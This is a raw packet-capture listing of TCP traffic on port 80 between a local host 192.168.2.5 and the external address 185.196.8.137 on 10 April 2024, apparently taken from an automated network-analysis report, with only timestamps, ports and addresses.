Apr 10, 2024 10:24:12.368417025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368417025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368417025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368479967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368515968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368515968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368515968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368515968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368657112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368657112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368657112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368657112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368657112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368657112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368660927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368743896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368743896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368743896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368774891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368859053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368859053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368859053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368859053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368859053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368859053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368943930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.368979931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368979931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368979931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368979931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.368979931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369018078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369033098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369052887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369052887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369052887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369052887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369138956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369138956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369138956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369230986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369230986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369230986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369230986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369230986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369230986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369256973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369287968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369287968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369287968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369319916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369355917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369355917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369442940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369446993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369446993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369446993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369472980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369472980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369472980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369499922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369601965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369601965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369601965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369601965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369601965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369601965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369656086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369656086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369656086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369657993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369707108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369739056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369739056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369739056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369739056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369767904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369806051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369806051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369806051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369919062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369920015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369920015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369930983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.369962931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369962931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369962931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369962931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.369975090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370083094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370083094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370083094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370083094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370083094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370083094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370136976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370152950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370171070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370171070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370171070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370171070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370179892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370266914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370266914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370266914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370273113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370326042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370326042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370326042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370382071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370415926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370415926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370415926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370415926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370493889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370529890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370529890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370529890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370529890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370536089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370619059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370619059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370619059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370646954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370676994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370676994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370676994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370757103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370757103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370758057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370839119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370839119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370839119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370839119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370839119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370839119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370858908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.370896101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370896101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370959044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370959044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.370959044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371001005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371004105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371004105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371004105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371088982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371105909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371115923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371115923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371115923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371115923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371115923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371196032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371217966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371217966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371288061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371292114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371292114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371292114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371292114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371292114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371304989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371310949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371320009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371349096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371364117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371376991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371390104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371408939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371408939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371547937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371547937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371547937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371547937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371547937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371547937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371618986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371619940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371619940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371635914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.371717930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371717930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371717930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371717930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371717930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371717930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371820927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371820927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371820927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371820927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371820927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371820927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371896029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371896029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371896029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371937037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371937037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.371937037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372014046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372014046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372014046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372056007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372076988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372076988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372076988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372142076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372142076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372142076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372142076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372142076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372198105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372198105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372198105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372241020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372314930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372314930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372314930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372351885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372351885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372351885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372415066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372416019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372416019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372442007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372457981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372471094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372471094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372471094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372471094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372471094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372572899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372572899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372572899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372575045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372615099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372615099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372646093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372675896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372675896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372675896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372715950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372715950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372715950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372765064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.372791052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372791052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372791052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372792006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372915983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372915983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372915983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372915983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372915983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.372915983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373028994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373028994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373028994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373029947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373029947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373029947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373116016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373120070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373120070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373120070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373219013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373219013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373219013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373219013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373219013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373219013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373231888 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373248100 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373282909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373292923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373292923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373331070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373337984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373378992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373378992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373378992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373388052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373411894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373421907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373421907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373430014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373538017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373538017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373538017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373555899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373555899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373555899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373569965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373604059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373608112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373663902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373680115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373680115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373680115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373697996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373697996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373744965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373744965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373744965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373760939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373788118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373788118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.373830080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373910904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.373967886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.374038935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.374053955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374053955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374053955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374053955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374073982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374175072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374175072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374175072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374176025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.374202013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374202013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374234915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.374331951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374331951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374331951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374458075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374458075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374458075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374458075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374458075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374458075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374572039 CEST	49718	80	192.168.2.5	185.196.8.137
